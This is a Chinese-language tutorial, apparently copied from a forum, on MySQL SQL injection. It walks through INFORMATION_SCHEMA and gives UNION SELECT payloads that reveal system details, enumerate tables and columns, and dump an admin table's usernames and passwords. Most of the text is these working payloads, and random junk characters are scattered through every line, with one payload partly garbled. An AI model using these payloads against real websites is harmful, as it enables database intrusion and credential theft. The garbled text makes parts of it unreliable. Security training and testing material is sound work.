本文介绍MYSQL盲注的一些语句和方法5 B+ q9 K! A5 e4 M5 n
0 J6 O$ j: F8 L5 S) W- V; K学习盲注前先了解下 IFORMATION_SCHEMA 库2 [, {* f9 ]/ c: W% o5 x/ V) }3 ~
8 O1 E# v- U& E
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有* J. F8 S5 L5 l
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。: I3 _ y$ m. n; L
1.得到所有数据库名:/ P( ]+ c9 s7 L4 J; v3 k
|SCHEMATA ->存储数据库名的表* A+ b& O) [: V2 b3 A3 L/ R, O. y
|---字段:SCHEMA_NAME ->数据库名称
4 M+ P7 l& p* {8 m7 L8 V* c% w% t; V! \! V' n0 Q8 x1 [
|TABLES ->存储表名; \) P2 k7 {6 t; t9 J
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名7 Q1 `- H# C' `3 L$ g- W
|---字段:TABLE_NAME ->存储表的表名' z( u# L3 B9 K: F; f$ k) J
& m; E/ O1 B; \" ?+ p/ U5 K7 a|COLUMNS ->存储的字段名表5 u9 X: y5 g9 l. G C7 g: g) u' }
|---字段:TABLE_SCHEMA ->该字段所属数据库名
* o( w4 H* e4 g1 z|---字段:TABLE_NAME ->存储所属表的名称' L9 |$ p# q$ |; [
6 v% c- {$ O' b3 Q
|---字段:COLUMN_NAME ->该字段的名称- P' F6 i; _1 `
3 G1 r9 a$ h* x. z R
( F( @6 @/ B- }. G
- _ P% J' m8 \6 } B' Z###########################################################################0 p/ w7 d" W1 Y0 V* B! f( U
8 L& ^ L' s' X1 A! l0x001 获取系统信息:. E) P) n5 }! e, P+ h
. t [& `2 f$ n* i- ]" p9 \union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
1 o) E+ i* s* N7 G, m' c- ^# L) P
# a% c5 H) D& [6 @% k/*
' I0 {6 O3 o! y7 R0 N( N
$ m- I# i1 T3 C; d/ W@@global.version_compile_os 获取系统版本; X/ `1 b. \6 j' d2 X2 c' S
% w/ A# n6 s' S1 F, Z8 P@@datadir 数据库路径
. Q7 [! A* _, s; ydatabase() 当前数据库名称
2 Z1 u+ }8 w( V E" E" N0x3c62723e 换行HEX值. O* j/ q+ ?( R
; ^) Z1 t6 T3 N" |; _; l& p
*/
8 H0 u5 H6 p* b+ f+ O; j. Z) q* y7 ^; S+ I0 O% V; n6 Z* P3 n
$ G/ G* h3 r0 j8 n# H' e+ }' x! C2 }# R' `4 Z( ^9 o0 e6 {
######################################################################
' V* N5 |; i8 M+ T% c3 I, }% y
" `9 ?, Q8 h+ B0x002 获取表名
. l2 I$ Y, H/ G& f/ p0 d
* T; n1 A7 k( e# M8 H7 q* yunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*2 d9 x& f" ?/ n" h7 T
; s" o* Z6 e4 E9 K8 ^' q: l
2 e$ h% k, T0 ]4 t# p/ W
9 M! O# J. i% C5 Y/*# c4 G2 U- U# X$ F e
: M8 x! R4 J" {# o& f
0x67617264656e 为当前数据库名' f% L9 k8 x y9 R W- a0 m/ v/ m
2 e% P% g" i) U: rgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
) |, p7 _+ d' Y/ o; h; M
9 p" S: S7 R( p0 u1 r4 g; N7 w! j*/
6 I$ z W7 _, y6 H' g* M" G4 y C) M6 k, C( q0 Z5 _! o& U8 L
######################################################################8 p7 X Z/ K7 z% `; J
- Y& Z( U: |- q# z" k ! G' i' v" ^2 m9 Q1 H; H- D
' D* X& m5 A2 b% Z# f
0x003 获取字段" {- U( \! h% R& v
4 H3 Q& H1 g# qunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*1 a; v" {4 T' C/ F/ K
& U8 Y0 I: \* D K: ?' A8 O
/*
, [( g, q% E8 S W) P: h' E# A3 s/ ^2 D
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
" ^8 Q2 a/ T+ y9 R( s( U3 c2 H+ D9 |$ m% a3 P6 q
0x61646d696e ->选择一个表
( [9 B4 F2 E! ?0 C
7 @6 [1 s$ |% X+ u8 ]' J0x67617264656e ->数据库名3 @8 ?7 U3 f* G+ h! u7 h( J
4 b- Y; p2 q( r! w7 M- ]- j
*/0 X. S& Q# v3 z, X* H+ n* f% I
* t: X; ~3 }% V, W' ?
#####################################################################$ Y% z; y) D: k+ j) y t
- {5 B+ O" x2 m' v5 {6 P2 | 9 h9 w) H# w/ c, x0 V/ p
0 l# }7 ^" v* l) T% _: S5 Q0x004 获取数据
$ E8 P l9 |& |7 L
0 ^$ q# Z" Q7 \, L6 c9 }* l& bunion select 1,2,3
4 `# o/ y7 l( B3 j,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
2 E8 ?1 ?. v/ `1 F
- [# y6 W! C' u1 L- P3 {( Qunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
- |( i: R6 v6 W5 V) ~/ F, K! V) |" n2 V ~
6 q. L( D0 n8 o) O
1 T5 {7 c" m: P* ^& s
/*+ C4 \" O; k1 O. s0 o# B! z
2 g, A5 B# P! r I9 F0x3c62723e 换行符号HEX编码
* D+ x$ T" v4 s9 W* e# }; L
. B: X) ?6 c/ { a. c0 }" e fgroup_concat 同时获得该字段所有数据
# S4 d) r) x5 e* f+ N# ?
+ U7 V" M$ q- p4 @*/) M* |/ O& T4 F4 z+ V* a2 e, Y! }
# `" t% z: f4 B5 t% i( W5 I |